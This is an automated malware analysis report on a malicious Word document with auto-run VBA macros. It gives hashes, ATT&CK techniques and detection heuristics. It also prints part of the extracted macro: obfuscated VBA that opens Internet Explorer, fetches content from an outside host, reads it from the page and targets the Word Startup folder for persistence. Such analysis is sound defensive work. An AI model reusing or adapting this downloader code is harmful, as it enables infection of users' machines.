Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cdb2d642f6e41b28…

MALICIOUS

Office (OOXML)

58.5 KB Created: 2019-10-15 16:04:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-02-04
MD5: c516baae6db4202a55b0a1fae3b8dde5 SHA-1: 9b1a4b7e5d2eb5846e38a19d516d929a6ff0cd6a SHA-256: cdb2d642f6e41b28c6944fbbe7ecabfdfdab829f15156f08e67dfb5d79b3ae3b
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This OOXML document contains VBA macros that are automatically executed upon opening, indicated by the AutoOpen and Auto_Open heuristics. The script uses CreateObject and GetObject calls to interact with WMI, specifically launching a process via 'winmgmts:.Win32_Process'. This technique is often used to download and execute further malicious payloads. The obfuscation of 'winmgmts' from split string literals suggests an attempt to evade detection.

Heuristics 10

  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://austinhcg.com/download.html In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8792 bytes
SHA-256: 99cb2b6e8aa44256c3a3b8a1cecf5a8bae0c803d5c0665488afffe73d0dc04f0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{64406EC0-5AB4-473E-BFC3-12E17C0F8385}{5DB91CE7-37C0-4A98-B310-4CC73AAC9C49}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub CommandButton1_Click()
MsgBox "Incorrect password! Error: 8779299", vbCritical, "Microsoft Word"
End Sub

Private Sub UserForm_Click()

End Sub

Attribute VB_Name = "Module1"
'a5c3a603a643a683a6c3a703a743a783a7c3a803a843a883a8c3a903a943a983a9c3aa03aa43aa
'83aac3ab03ab43ab83abc3ac03ac43ac83acc3ad03ad43ad83adc3ae03ae43ae83aec3af03af
'43af83afc3a003b043b083b0c3b103b143b183b1c3b203b243b283b2c3b303b343b383b3c3b4
'03b443b483b4c3b503b543b583b5c3b603b643b683b6c3b703b743b783b7c3b803b843b883b8
'c3b903b943b983b9c3ba03ba43ba83bac3bb03bb43bb83bbc3bc03bc43bc83bcc3bd03bd43b
'd83bdc3be03be43be83bec3bf03bfc3b003c043c083c0c3c103c143c183c1c
'3c203c243c283c2c3c303c343c383c3c3c403c443c483c4c3c503c543c583c5c3c603c6
'43c683c6c3c703c743c783c7c3c803c843c883c8c3c903c943c983c9c3ca03ca43ca83cb8
'3cbc3cc03cc43cc83ce03ce43ce83cec3cf03cf43cf83cfc3c003d043d083d0c3d103d143d1
'83d1c3d203d243d283d2c3d303d343d383d3c3d403d443d483d4c3d503d543d583d5c3d603d64
'3d683d6c3d703d743d783d7c3d803d843d883d8c3d903d943d983d9c3da03da43da83dac3db03
'db43db83dbc3dc03dc43dc83dcc3dd03dd43dd83ddc3de03de43de83dec3df03df43df83dfc3d
'003e043e083e0c3e103e143e183e1c3e203e243e283e2c3e303e343e383e3c3e403e443e483e4c3
'e503e543e583e5c3e603e643e683e6c3e703e743e783e7c3e803e843e883e8c3e903e943e983
Sub hrXjfR()
On Error Resume Next
Set ess = CreateObject("Int" + "erne" + "tEx" + "pl" + "or" + "er." + "App" + "li" + "cat" + "ion")
ess.Navigate "http://austinhcg.com/download.html"
State = 0
'a5c3a603a643a683a6c3a703a743a783a7c3a803a843a883a8c3a903a943a983a9c3aa03aa43aa
'83aac3ab03ab43ab83abc3ac03ac43ac83acc3ad03ad43ad83adc3ae03ae43ae83aec3af03af
'43af83afc3a003b043b083b0c3b103b143b183b1c3b203b243b283b2c3b303b343b383b3c3b4
'03b443b483b4c3b503b543b583b5c3b603b643b683b6c3b703b743b783b7c3b803b843b883b8
'c3b903b943b983b9c3ba03ba43ba83bac3bb03bb43bb83bbc3bc03bc43bc83bcc3bd03bd43b
'd83bdc3be03be43be83bec3bf03bfc3b003c043c083c0c3c103c143c183c1c
'3c203c243c283c2c3c303c343c383c3c3c403c443c483c4c3c503c543c583c5c3c603c6
'43c683c6c3c703c743c783c7c3c803c843c883c8c3c903c943c983c9c3ca03ca43ca83cb8
'3cbc3cc03cc43cc83ce03ce43ce83cec3cf03cf43cf83cfc3c003d043d083d0c3d103d143d1
'83d1c3d203d243d283d2c3d303d343d383d3c3d403d443d483d4c3d503d543d583d5c3d603d64
'3d683d6c3d703d743d783d7c3d803d843d883d8c3d903d943d983d9c3da03da43da83dac3db03
'db43db83dbc3dc03dc43dc83dcc3dd03dd43dd83ddc3de03de43de83dec3df03df43df83dfc3d
'003e043e083e0c3e103e143e183e1c3e203e243e283e2c3e303e343e383e3c3e403e443e483e4c3
'e503e543e583e5c3e603e643e683e6c3e703e743e783e7c3e803e843e883e8c3e903e943e983
Do Until State = 4: DoEvents: State = ess.readyState: Loop
Dim RGuiBqg: RGuiBqg = ess.Document.Body.getElementsByTagName("pre").Item(0).innerHTML
p = Environ("A" + "PP" + "DA" + "TA") & "\Mi" + "cro" + "sof" + "t\Wo" + "rd" + "\St" + "ar" + "tup\"
Set ApmBxHkJ = CreateObject("Scripting.FileSystemObject")
'a5c3a603a643a683a6c3a703a743a783a7c3a803a843a883a8c3a903a943a983a9c3aa03aa43aa
'83aac3ab03ab43ab83abc3ac03ac43ac83acc3ad03ad43ad83adc3ae03ae43ae83aec3af03af
'43af83afc3a003b043b083b0c3b103b143b183b1c3b203b243b283b2c3b303b343b383b3c3b4
'03b443b483b4c3b503b543b583b5c3b603b643b683b6c3b703b743b783b7c3b803b843b883b8
'c3b903b943b983b9c3ba03ba43ba83bac3bb03bb43bb83bbc3bc03bc43bc83bcc3bd03bd43b
'd83bdc3be03be43be83bec3bf03bfc3b003c043c083c0c3c103c143c183c1c
'3c203c243c283c2c3c303c343c383c3c3c403c443c483c4c3c503c543c583c5c3c603c6
'43c683c6c3c703c743c783c7c3c803c843c883c8c3c903
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: fb09e8748a8769114711a910d74c989f52ebd8902569405c1e0783095d838bfa

Open this report in the interactive analyzer, or submit your own file for analysis.